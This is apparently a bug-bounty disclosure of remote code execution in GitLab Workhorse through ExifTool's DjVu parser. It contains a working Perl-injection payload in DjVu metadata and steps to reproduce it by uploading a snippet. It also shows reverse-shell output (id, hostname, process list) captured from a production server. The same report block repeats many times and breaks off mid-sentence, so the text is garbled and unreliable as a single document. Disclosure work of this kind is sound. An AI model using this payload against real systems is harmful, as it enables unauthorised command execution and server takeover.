When parsing the DjVu annotation, the tokens are evaled to &quot;convert C escape sequences&quot;. \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n \n \n (metadata\n (Copyright \"\\\n \" . qx{echo vakzz >/tmp/vakzz} . \\\n \" b \") )\n \n\necho_vakzz.jpg.zip (F1257008) is an example DjVu file with the above metadata, and reverse_shell.jpg.zip (F1257009) is an example that runs a reverse shell.\n\n### Steps to reproduce\n\n 1.

When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

The current bug is in the DjVu module of `ExifTool` which should ideally not ever be hit.\n\n### What is the expected *correct* behavior?\n* There must be better ways of convert C escape sequences

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

The current bug is in the DjVu module of `ExifTool` which should ideally not ever be hit.\n\n### What is the expected *correct* behavior?\n* There must be better ways of convert C escape sequences than using `eval`\n* Only the TIFF and JPEG modules should be used\n* GitLab Workhorse could check if the file is a valid TIFF of JPEG before passing it to ExifTool\n\n### Output of checks\nThis bug

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

The current bug is in the DjVu module of `ExifTool` which should ideally not ever be hit.\n\n### What is the expected *correct* behavior?\n* There must be better ways of convert C escape sequences

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

The current bug is in the DjVu module of `ExifTool` which should ideally not ever be hit.\n\n### What is the expected *correct* behavior?\n* There must be better ways of convert C escape sequences than using `eval`\n* Only the TIFF and JPEG modules should be used\n* GitLab Workhorse could check if the file is a valid TIFF of JPEG before passing it to ExifTool\n\n### Output of checks\nThis bug

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

The current bug is in the DjVu module of `ExifTool` which should ideally not ever be hit.\n\n### What is the expected *correct* behavior?\n* There must be better ways of convert C escape sequences

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

The current bug is in the DjVu module of `ExifTool` which should ideally not ever be hit.\n\n### What is the expected *correct* behavior?\n* There must be better ways of convert C escape sequences than using `eval`\n* Only the TIFF and JPEG modules should be used\n* GitLab Workhorse could check if the file is a valid TIFF of JPEG before passing it to ExifTool\n\n### Output of checks\nThis bug

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on `web-09-sv-gprd`:\n\n```\nConnection from [34.74.90.73] port 12345 [tcp/*] accepted (family 2, sport 17073)\nid\nuid=500(git) gid=500(git) groups=500(git)\nhostname -a\nweb-09-sv-gprd\nps auxww\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 185524 5496 ?

Summary\nWhen uploading image files, GitLab Workhorse passes any files with the extensions [jpg|jpeg|tiff](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.2-ee/workhorse/internal/upload/exif/exif.go#L104) through to [ExifTool](https://exiftool.org/) to remove any non-whitelisted tags.\n\nAn issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.\n\nOne of the supported formats is [DjVu](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm). When parsing the DjVu annotation, the [tokens are evaled](https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233) to \"convert C escape sequences\". \n\nThere is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:\n\n```\n(metadata\n\t(Copyright \"\\\n\" . qx{echo vakzz >/tmp/vakzz} . \\\n\" b \") )\n```\n\n{F1257008} is an example DjVu file with the above metadata, and {F1257009} is an example that runs a reverse shell.\n\n### Steps to reproduce\n1. Download {F1257008} and unzip it\n1. Create a new snippet\n1. In the description field, hit \"Attach a file\"\n1. Select and uplaod `echo_vakzz.jpg`\n1. See that the file `/tmp/vakzz` has been created on the server\n\n\nUploading {F1257009} to https://gitlab.com/-/snippets/new resulted in a shell on 